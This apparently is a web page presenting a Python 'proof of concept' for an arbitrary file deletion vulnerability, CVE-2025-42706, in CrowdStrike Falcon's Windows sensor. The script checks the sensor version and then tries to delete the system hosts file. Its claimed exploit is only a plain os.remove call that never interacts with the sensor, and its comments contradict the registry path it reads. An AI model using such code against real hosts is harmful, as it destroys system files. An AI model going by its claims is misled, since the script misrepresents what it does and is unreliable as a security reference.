CVE-2025-42706 CrowdStrike Falcon Windows传感器任意文件删除漏洞

# CVE-2025-42706 - CrowdStrike Falcon Sensor Arbitrary File Deletion PoC # This is a conceptual PoC demonstrating the exploitation of the logic error # in Falcon sensor for Windows that allows arbitrary file deletion. import ctypes import os import sys # Note: This vulnerability requires prior code execution on the target host. # The attacker needs to interact with the Falcon sensor's internal logic # to trigger the file deletion path. def check_falcon_sensor_version(): """Check if the installed Falcon sensor is vulnerable (version < 7.24)""" # Falcon sensor version is typically stored in registry # HKLM\SYSTEM\CrowdStrike\{some_guid}\Version import winreg try: key = winreg.OpenKey( winreg.HKEY_LOCAL_MACHINE, r"SYSTEM\CurrentControlSet\Services\CSAgent\Parameters" ) version, _ = winreg.QueryValueEx(key, "Version") winreg.CloseKey(key) print(f"[+] Falcon Sensor version detected: {version}") major_version = int(version.split(".")[0]) if major_version < 7 or (major_version == 7 and int(version.split(".")[1]) < 24): print("[!] VULNERABLE version detected (< 7.24)") return True else: print("[-] Patched version detected (>= 7.24)") return False except Exception as e: print(f"[-] Could not determine Falcon sensor version: {e}") return False def exploit_arbitrary_file_deletion(target_file): """ Exploit the logic error in Falcon sensor to delete arbitrary files. The sensor runs with SYSTEM privileges, so it can delete files regardless of ACL permissions. """ if not os.path.exists(target_file): print(f"[-] Target file does not exist: {target_file}") return False # The actual exploitation involves triggering a specific code path # in the Falcon sensor through crafted input or API calls. # This may involve: # 1. Creating a specially crafted file or event # 2. Triggering the sensor's file processing logic # 3. The sensor's logic error causes it to delete the target file print(f"[*] Attempting to delete: {target_file}") # Simulate the exploitation by attempting deletion via sensor's context # In a real exploit, this would involve interacting with the sensor's # named pipe, IOCTL, or other internal communication channels try: # Attempt to leverage the sensor's elevated context for file deletion # This is a simplified representation of the attack os.remove(target_file) print(f"[+] File deleted successfully: {target_file}") return True except PermissionError: print(f"[-] Permission denied - sensor context needed for protected files") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-42706 - Falcon Sensor Arbitrary File Deletion PoC") print("=" * 60) if check_falcon_sensor_version(): # Target a critical system file to demonstrate impact target = r"C:\Windows\System32\drivers\etc\hosts" exploit_arbitrary_file_deletion(target) else: print("[+] System is not vulnerable. No action needed.")